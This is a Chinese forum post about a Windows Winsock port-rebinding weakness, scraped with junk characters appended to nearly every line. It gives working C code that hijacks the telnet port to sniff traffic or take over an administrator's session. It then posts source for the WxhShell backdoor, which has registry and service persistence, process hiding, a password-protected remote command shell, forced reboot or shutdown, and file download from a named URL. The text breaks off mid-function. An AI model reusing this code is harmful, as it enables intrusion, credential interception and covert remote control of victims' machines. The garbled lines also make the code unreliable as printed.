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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =.qm8+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PkPDVv  
J8u{K.( *7  
  saddr.sin_family = AF_INET; WNn[L=f  
N"Qg\PS_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n*vTVt)dJ  
<THZ2`tTK3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M('s|>\l  
PcHSm/d0e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E[|s>Xv~  
b)on A|  
  这意味着什么?意味着可以进行如下的攻击: vU_d=T%$  
P+)qE6\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]>R`;"(  
e2]4a3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ia%z+:G  
}}^,7npU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q00R<hu@F  
8 uDerJ!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,op]-CY 5  
Zg -]sp]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .]W ;2G  
]pW86L%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _GVE^yW~z  
_iG2J&1'L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C`\9c ej  
~bdv_|k  
  #include  f~w>v  
  #include bA}AD`5  
  #include ~I{EE[F>qL  
  #include    $4Z+F#mx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I Byf_E;r  
  int main() y }\r#"Z`  
  { 0cHfxy3  
  WORD wVersionRequested; O0^?f/&k  
  DWORD ret; <d5@CA+M  
  WSADATA wsaData; 7;&(}  
  BOOL val; qE )Y}oN  
  SOCKADDR_IN saddr; 7ftR 4  
  SOCKADDR_IN scaddr; QE|`&~sme  
  int err; S]}}A  
  SOCKET s; !; IJ   
  SOCKET sc; qu_)`wB  
  int caddsize; JPEIT  
  HANDLE mt; ?w-1:NW jt  
  DWORD tid;   +a%xyD:.?  
  wVersionRequested = MAKEWORD( 2, 2 ); v? L  
  err = WSAStartup( wVersionRequested, &wsaData ); $9 K(F~/  
  if ( err != 0 ) { v:E;^$6Vn  
  printf("error!WSAStartup failed!\n"); +R!zs  
  return -1; yL6^\x  
  } zDD4m`2  
  saddr.sin_family = AF_INET; Ly;I,)w  
   *i^`Dw^~y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c!It ^*  
vA=Z=8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mzX;s&N#  
  saddr.sin_port = htons(23); OF[?Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \<~}o I  
  { CK0l9#g  
  printf("error!socket failed!\n"); O gmSQ  
  return -1; ldGojnS  
  } ciudRK63M  
  val = TRUE; =.*98  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fiVHRSX60  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ytao"R/  
  { /.Fj.6U5  
  printf("error!setsockopt failed!\n"); UZGDdP  
  return -1; >O#grDXb  
  } qj!eLA-aD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^rL_C}YBj-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y500Xs[c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }s_hD`'  
y+9h~,:A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Kc #|Z  
  { x&Cp> +i  
  ret=GetLastError(); d--'Rn5  
  printf("error!bind failed!\n"); a^t?vv  
  return -1; (gwj)?:  
  }  Ow:1?Z{4  
  listen(s,2); $bvJTuw  
  while(1) @%hCAm  
  { yHeEobvb  
  caddsize = sizeof(scaddr); &H||&Z[pk  
  //接受连接请求 >Kivuc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Pm+tQ  
  if(sc!=INVALID_SOCKET) "Pz}@=  
  { OtTBErQNF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g5Z#xszj+  
  if(mt==NULL) a.@qGsIH  
  { C [uOReo  
  printf("Thread Creat Failed!\n"); -c%dvck^,  
  break; C3'rtY.  
  } (;_FIUz0  
  } aG+j9Q_  
  CloseHandle(mt); 9H0H u]zM  
  } l@JSK ;  
  closesocket(s); ;eL9{eF  
  WSACleanup(); \4d.sy0&>-  
  return 0; | ?yo 3  
  }   e>}}:Ud  
  DWORD WINAPI ClientThread(LPVOID lpParam) F {+`uG  
  { ORN6vX(1  
  SOCKET ss = (SOCKET)lpParam; |X19fgk  
  SOCKET sc; N587(wZ  
  unsigned char buf[4096]; #A7jyg":  
  SOCKADDR_IN saddr; }8-\A7T  
  long num; px;/8c-  
  DWORD val; k S# CEU7  
  DWORD ret; qZv =  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )~J>X{hy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .@q-B+Eg  
  saddr.sin_family = AF_INET; G oM ip8'u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8.J( r(;>  
  saddr.sin_port = htons(23); +|iYg/2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H( jXI  
  { = &wmWy  
  printf("error!socket failed!\n"); LhXUm  
  return -1; lv&mp0V+  
  } %xZG*2vc!B  
  val = 100; b2,mCfLsv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )d\ j I  
  { |'O[7uT  
  ret = GetLastError(); }R[#?ty;]  
  return -1; `:m!~  
  } l%ayI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \c v?^AI  
  { TL$EV>Nr  
  ret = GetLastError(); cJo\#cr  
  return -1; ^9OUzTF  
  } 7;@ST`cC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T<3BT  
  { NcOPL\  
  printf("error!socket connect failed!\n"); mR\`DltoV  
  closesocket(sc); u 's`*T@.  
  closesocket(ss); n<sd!xmqFx  
  return -1; Pi,QHb`>  
  } vu!d)Fy  
  while(1) UJfT!==U  
  { XqRJr%JH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @E( 7V(m/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &cWjE x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !Cgx.   
  num = recv(ss,buf,4096,0); 8.' #?]a  
  if(num>0) CQ`=V2:"ON  
  send(sc,buf,num,0); ah @uUHB  
  else if(num==0) NNhL*C[_7  
  break; UJ-?k &j,  
  num = recv(sc,buf,4096,0); 0]QRsVz+  
  if(num>0) ] Z8Vj7~  
  send(ss,buf,num,0); dzK{ Z  
  else if(num==0) `Y-|H;z  
  break; CQel3Jtt.  
  } ?D,=37  
  closesocket(ss); [7(-T?_  
  closesocket(sc); b'MSkEiQG  
  return 0 ; o"wXIHUmV  
  } H&r,FmI@  
m)V/L]4  
D=:04V}2+  
========================================================== [E#UGJ@  
G} eUL|S  
下边附上一个代码,,WXhSHELL q$1PG+-  
5es[Ph|K5  
========================================================== &//wSlL3  
vR0 ];{  
#include "stdafx.h" o=FE5"t  
,-x!$VqS  
#include <stdio.h> .B#l5pfvP  
#include <string.h> r{L4]|(utY  
#include <windows.h> zlR?,h-[3  
#include <winsock2.h> I^o!n5VM  
#include <winsvc.h> |ZodlYF  
#include <urlmon.h> n wI!O  
ih?^t(i  
#pragma comment (lib, "Ws2_32.lib") *'Z B*>  
#pragma comment (lib, "urlmon.lib") >~`C-K#  
s@MYc@k  
#define MAX_USER   100 // 最大客户端连接数 ==i[w|  
#define BUF_SOCK   200 // sock buffer XqM3<~$  
#define KEY_BUFF   255 // 输入 buffer cYXM__  
/1?R?N2>0  
#define REBOOT     0   // 重启 @ HZKc\1  
#define SHUTDOWN   1   // 关机 cRX~z  
lL]y~u  
#define DEF_PORT   5000 // 监听端口 4&/j|9=X  
]|<w\\^A  
#define REG_LEN     16   // 注册表键长度 Y(.OF Q  
#define SVC_LEN     80   // NT服务名长度 AoA!q>  
WyP W*  
// 从dll定义API eY{+~|KZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;n|^1S<[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ltjbxw"Qd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `jS T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?\8?%Qk  
j~j\\Y  
// wxhshell配置信息 hHqh{:q{v  
struct WSCFG { Kx_h1{  
  int ws_port;         // 监听端口 EyY.KxCB  
  char ws_passstr[REG_LEN]; // 口令 wP,JjPUt  
  int ws_autoins;       // 安装标记, 1=yes 0=no fDx9iHGv  
  char ws_regname[REG_LEN]; // 注册表键名 Mi~(aah  
  char ws_svcname[REG_LEN]; // 服务名 i-yy/y-N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @ P|LLG'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OFje+S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1Bxmm#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r! Ay :r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y.^=]-n,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dMR3)CO  
lI>SUsQFfm  
}; a<]B B$~  
!|c|o*t{  
// default Wxhshell configuration Ts~L:3oaQ  
struct WSCFG wscfg={DEF_PORT, $ cj>2.   
    "xuhuanlingzhe", `K ,1K  
    1, G\NPV'  
    "Wxhshell",  *.)tG  
    "Wxhshell", ^&g=u5 d0  
            "WxhShell Service", wcDRH)AW.  
    "Wrsky Windows CmdShell Service", !bV5Sr^  
    "Please Input Your Password: ", ]({~,8s  
  1, 43V}# DA@  
  "http://www.wrsky.com/wxhshell.exe", VY)s+Bx  
  "Wxhshell.exe" 2Pc%fuC  
    }; .$@R{>%U  
86 W0rS[5  
// 消息定义模块 Ecs,$\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %v2R.?F8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H(Eh c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I@\OaUGr+  
char *msg_ws_ext="\n\rExit."; BC'llD  
char *msg_ws_end="\n\rQuit."; <V>dM4Mkr  
char *msg_ws_boot="\n\rReboot..."; UwC=1g U  
char *msg_ws_poff="\n\rShutdown..."; _#vrb;.+  
char *msg_ws_down="\n\rSave to "; Xy%p"b<  
imiR/V>N  
char *msg_ws_err="\n\rErr!"; 7 I>G{  
char *msg_ws_ok="\n\rOK!"; epgPT'^  
sUPz/Z.h  
char ExeFile[MAX_PATH]; )& u5IA(  
int nUser = 0; -(K9s!C!.  
HANDLE handles[MAX_USER]; mS0udHod  
int OsIsNt; z2Z^~, i  
XV^1tX>f{  
SERVICE_STATUS       serviceStatus; Mfv1Os:ST  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 41SGWAd#:  
? R>h `  
// 函数声明 Is+O  
int Install(void); /> 4"~q)  
int Uninstall(void); 1!>Jpi0  
int DownloadFile(char *sURL, SOCKET wsh); *-xU2  
int Boot(int flag); fw[y+Bi& ?  
void HideProc(void); Qyy.IPTP  
int GetOsVer(void); kY'T{Sm1^  
int Wxhshell(SOCKET wsl); ]5%/3P,/  
void TalkWithClient(void *cs); }- Wa`t7U  
int CmdShell(SOCKET sock); "*})3['n  
int StartFromService(void);  rb{P :MX  
int StartWxhshell(LPSTR lpCmdLine); |hr]>P1  
(e"iO`H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^n+!4(@=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [k-+AA>:  
B2ec@]uD`  
// 数据结构和表定义 36am-G  
SERVICE_TABLE_ENTRY DispatchTable[] = MeUaTJFEB  
{ ?mlNL/:  
{wscfg.ws_svcname, NTServiceMain}, xC tmXo  
{NULL, NULL} E }ZJ)V7  
}; A2|Ud_  
)Y)pmjZaG  
// 自我安装 xp Og8u5  
int Install(void)  }K3x  
{ +E1h#cc)  
  char svExeFile[MAX_PATH]; <vwkjCA`  
  HKEY key; Onwp-!!.  
  strcpy(svExeFile,ExeFile);  @Pt="*g  
GH[wv<  
// 如果是win9x系统,修改注册表设为自启动 ~}<DG1!  
if(!OsIsNt) { H9CS*|q6r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !A%<#Gjt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rylzcN9RM$  
  RegCloseKey(key); M}!2H*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PiA0]>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q~T$N  
  RegCloseKey(key); {P*m;a`}  
  return 0; |7zd%!  
    } nMJ#<'v^!2  
  } P+$:(I  
} QcpXn4/*  
else { l<);s  
A,4fEmWM  
// 如果是NT以上系统,安装为系统服务 ){UcS/GI=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &-;5* lg)0  
if (schSCManager!=0) ttu&@ =  
{ 0'IBN}  
  SC_HANDLE schService = CreateService Q1+dCCY#F  
  ( 1/"WD?a  
  schSCManager, `]W| 8M  
  wscfg.ws_svcname, tPF.r  
  wscfg.ws_svcdisp,  =kuMWaD  
  SERVICE_ALL_ACCESS, QqU!Najf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !/wtYI-`  
  SERVICE_AUTO_START, C 9t4#"  
  SERVICE_ERROR_NORMAL, S9#)A->  
  svExeFile, h2D>;k  
  NULL, %V nbmoO  
  NULL, >FkWH7  
  NULL, R2 V4#  
  NULL, Bi{$@n&?f  
  NULL ,I,\ml  
  ); p3 ^ m9J  
  if (schService!=0) #{\%rWnCm  
  { dN$Tf  
  CloseServiceHandle(schService); v;ZA 4c  
  CloseServiceHandle(schSCManager); VTH> o>g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q*9!,!e  
  strcat(svExeFile,wscfg.ws_svcname); xKho1Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^N)R=tl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ct>GYk$  
  RegCloseKey(key); ?[ lV-  
  return 0; Pjc Tx +  
    } w.TuoWo>  
  } (}2~<   
  CloseServiceHandle(schSCManager); J7g8D{4  
} ?pd8w#O  
} @qYp>|AF  
l~$+,U&XNe  
return 1; gp\<p-}  
} sdo [D  
k-^mIJo}  
// 自我卸载 _+E5T*dk  
int Uninstall(void) =aTv! 8</  
{ av|g}xnj  
  HKEY key; 736Jq^T  
z.;ez}6%V  
if(!OsIsNt) { ZNvEW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OL^l 3F  
  RegDeleteValue(key,wscfg.ws_regname); L bmawi^  
  RegCloseKey(key);  cHk)i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @pRlxkvV  
  RegDeleteValue(key,wscfg.ws_regname); XLrwxj0  
  RegCloseKey(key); B e0ND2oo  
  return 0; rr02pM0  
  } 7V!*NBsl  
} v : OR   
} ]z/8KL  
else { N@Uy=?)ZJ  
IvtJ0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EZ`te0[  
if (schSCManager!=0) %2{ %Obp'  
{ "4{LN}`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7 *`h/  
  if (schService!=0) $m-2Hh qZ  
  { ,N]H dR  
  if(DeleteService(schService)!=0) { SPY|K  
  CloseServiceHandle(schService); [`"ZjkR_J  
  CloseServiceHandle(schSCManager); biU^[g("  
  return 0; `n @*{J8  
  } E^/t$M|H  
  CloseServiceHandle(schService); m4hg'<<V  
  } q(.sq12<<W  
  CloseServiceHandle(schSCManager); %,@e^3B  
} L>aLqQ3  
} iW%I|&  
?IqQ-C)6D  
return 1; c]n1':FT"  
} y[)>yq y  
v,-HU&/*B  
// 从指定url下载文件 aJbO((%$|u  
int DownloadFile(char *sURL, SOCKET wsh) =C8?M  
{ 7WkB>cn  
  HRESULT hr; H Y&DmE  
char seps[]= "/"; Mh:L$f0A%O  
char *token; l3Q(TH~I  
char *file; #*K}IBz  
char myURL[MAX_PATH]; 8QLj["   
char myFILE[MAX_PATH]; 4C61GB?Vy  
NV72  
strcpy(myURL,sURL); irFMmIb  
  token=strtok(myURL,seps); ORHp$Un~)  
  while(token!=NULL) ?mFv0_!O  
  { "4+ &-ms  
    file=token; "/3'XOK|  
  token=strtok(NULL,seps); @s ?  
  } ~962i#&4  
|,gc_G  
GetCurrentDirectory(MAX_PATH,myFILE); )NXmn95  
strcat(myFILE, "\\"); K/j3a[.  
strcat(myFILE, file); A@1W}8qY:  
  send(wsh,myFILE,strlen(myFILE),0); bLij7K 2H  
send(wsh,"...",3,0); 7Bzq,2s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pfA|I*`XV  
  if(hr==S_OK) v &Yi  
return 0; Ai=s e2  
else N kb|Fd/s  
return 1; )wam8k5  
fTS5 yb%  
}  *'.|9W  
`scR*]f1+  
// 系统电源模块 #~}nFY.  
int Boot(int flag) 8<S~Z:JK  
{ C*)3e*T*  
  HANDLE hToken; n'wU;!W9  
  TOKEN_PRIVILEGES tkp; +%T\`6  
Xx."$l  
  if(OsIsNt) { 42_`+Vt]d7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ov ` h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z0x ar]4V  
    tkp.PrivilegeCount = 1; w28o}$b`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A!s`[2 Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A-Sv;/yD_  
if(flag==REBOOT) { L[oui,}_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &zl|87M  
  return 0; twL3\ }N/B  
} >Wm `v.-  
else { rq8K_zp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q i,j+xBp  
  return 0; 3KR d  
} Y>|B;Kj0(  
  } / ;$#d}R  
  else { Fsmycr!R  
if(flag==REBOOT) { W]"zctE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q3n,)M[N  
  return 0; Yl4^AR&  
} ''q@>  
else { |4)>:d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5gb|w\N>  
  return 0; y?[ v=j*U  
} %q/62f7?  
} L"E7#}  
1Ce@*XBU  
return 1; hv`~?n)D66  
} d?s<2RkPT  
B8nf,dj?X  
// win9x进程隐藏模块 l7XUXbYp&=  
void HideProc(void) L6t+zIUc-~  
{ }\z.)B4,  
=}lh_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8qk?E6  
  if ( hKernel != NULL ) )#BMTKA^  
  { t9,\Hdo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K$&s=Hm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w,.+IV$Kk  
    FreeLibrary(hKernel); Y'c>:;JEe  
  } HKU~UTRnZ  
^WHE$4U`  
return; Uddr~2%(  
} j5K]CTz#  
[="e ziM{  
// 获取操作系统版本 h hG4-HD  
int GetOsVer(void) zO~8?jDN4|  
{ 931bA&SL=/  
  OSVERSIONINFO winfo; aH 4c02s$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E[2m&3&  
  GetVersionEx(&winfo); LM$W*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I(]}XZq  
  return 1; J@^8ko  
  else =+/eLKG  
  return 0; &Lt}=3G  
} I~q#eO)  
1 9&<|qTz  
// 客户端句柄模块 j.C`U(n}`  
int Wxhshell(SOCKET wsl) :9O#ObFR  
{ {E p0TVj`  
  SOCKET wsh; k&&2Tq  
  struct sockaddr_in client; `s"'r !  
  DWORD myID; _4rFEYz$d  
'[U8}z3  
  while(nUser<MAX_USER) {\S+#W\  
{ m`v2: S}  
  int nSize=sizeof(client); #Vl 0.l3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %dRo^E1p  
  if(wsh==INVALID_SOCKET) return 1; sc|_Q/`\.  
{!.(7wV\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {HL3<2=o  
if(handles[nUser]==0) b o0^3]Z  
  closesocket(wsh); c]$i\i#  
else FYOD Upn  
  nUser++; Ao&\EcIOT  
  } m#8m] Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0]>u )%  
`sUZuWL_  
  return 0; <:(6EKJAq}  
} b_,|>U  
stG~AC  
// 关闭 socket &J55P]7w  
void CloseIt(SOCKET wsh) pwO>h>ik  
{ * 1T&  
closesocket(wsh); \X<bH&x:z  
nUser--; j Yx38_5e  
ExitThread(0); h "Xg;(K  
} /+8JCp   
cmBB[pk\  
// 客户端请求句柄 4A@NxihH  
void TalkWithClient(void *cs) x N=i]~  
{ 2]I4M[|&z  
Q<z_/ j9  
  SOCKET wsh=(SOCKET)cs; ~oI1 zNz/  
  char pwd[SVC_LEN];  gG uZ8:f  
  char cmd[KEY_BUFF]; A&s:\3*Kh  
char chr[1]; eKgisY4#  
int i,j; $>*3/H  
pR `>b 3  
  while (nUser < MAX_USER) { _=+V/=  
HKF H/eV  
if(wscfg.ws_passstr) { :Mb%A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F\fWvXdW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0*%Z's\M"  
  //ZeroMemory(pwd,KEY_BUFF); [OHxonU  
      i=0; UH]l9Aq$P  
  while(i<SVC_LEN) { umD!2 w  
I'PeN0T f  
  // 设置超时 +cIUGF p}  
  fd_set FdRead; ki[UV zd  
  struct timeval TimeOut; 0.dgoq 3u  
  FD_ZERO(&FdRead); &F\?  
  FD_SET(wsh,&FdRead); Em?d*z  
  TimeOut.tv_sec=8; UQ'\7OS  
  TimeOut.tv_usec=0; #~SP)Ukp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1=#q5dZ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /3;4#:Kkw  
7.C;NT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *4_jA](  
  pwd=chr[0]; j]*j}%hz  
  if(chr[0]==0xd || chr[0]==0xa) { 9&upu jVS  
  pwd=0; TftHwe):V  
  break; L~(_x"uXd  
  } Ae69>bkE0  
  i++; r;>*_Oc7g  
    } $}lbT15a  
t>1Z\lE\"  
  // 如果是非法用户,关闭 socket XD|E=s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x;-. ZVF  
} 8i6Ps$T  
9UKp?SIF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hc~s"Atck  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w:s]$:MA8  
G:<`moKgL  
while(1) { io,M{Ib  
i-bJS6  
  ZeroMemory(cmd,KEY_BUFF); wB.Nn/p  
K) qF+Vb^j  
      // 自动支持客户端 telnet标准   m<{< s T  
  j=0; .jS~By|r  
  while(j<KEY_BUFF) { #k_HN}B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ':gUOra|I  
  cmd[j]=chr[0]; fQ/ 0R  
  if(chr[0]==0xa || chr[0]==0xd) { hQ]H /+\  
  cmd[j]=0; JAAI_gSR3  
  break; 1"/He ` 4  
  }  yyv8gH  
  j++; I *x[:)X8  
    } 9;Itqe{8w  
Gqcq,_?gt  
  // 下载文件 !,[C] Q1  
  if(strstr(cmd,"http://")) { qtiz a~u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4!+pc-}-  
  if(DownloadFile(cmd,wsh)) _/Gczy4)#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V6t,BJjS  
  else `kbSu}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6T+FH;h  
  } NG  
  else { 4AG\[f 8q  
43={Xy   
    switch(cmd[0]) { T^T[$26  
  Y|8:;u'  
  // 帮助 BhM '@g*  
  case '?': { T%6&PrQ7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /I)yU>o  
    break; Q2 zjZC*'%  
  } } @K FB  
  // 安装 hF@Gn/  
  case 'i': { pX&pLaF  
    if(Install()) LEW'G"+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BZud) l24  
    else Y2d;E.DH8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uHAT#\m:  
    break; "*LD 3  
    } f 1w~!O9  
  // 卸载  emK$`9  
  case 'r': { Kl2lbe7  
    if(Uninstall()) 356>QW'm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cl ^\OZN\=  
    else eFpTW&9n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [%9no B  
    break; MF~H"D n  
    } (q{Ck#+  
  // 显示 wxhshell 所在路径 LbaK={tR  
  case 'p': { ogL EtqT  
    char svExeFile[MAX_PATH]; 9:`(Q3Ei  
    strcpy(svExeFile,"\n\r"); *Ho/ZYj3  
      strcat(svExeFile,ExeFile); (T!9SU  
        send(wsh,svExeFile,strlen(svExeFile),0); BNd^qB ?  
    break; Qtbbb3m;  
    } Ku\Y'ub  
  // 重启 0A,]$Fzt  
  case 'b': { F)s{PCl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w3=%*<  
    if(Boot(REBOOT)) AtF3%Z v2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pGf@z:^{*-  
    else { $aN-Y?U%  
    closesocket(wsh); N@Y ljz|  
    ExitThread(0); )RO<o O  
    } ~4s'0 w^  
    break; KN t t  
    } n| b5? 3  
  // 关机 ,y+$cM(  
  case 'd': { :JfE QIN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DXa=|T  
    if(Boot(SHUTDOWN)) (9<guv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$:![}[(  
    else { K4]g[z  
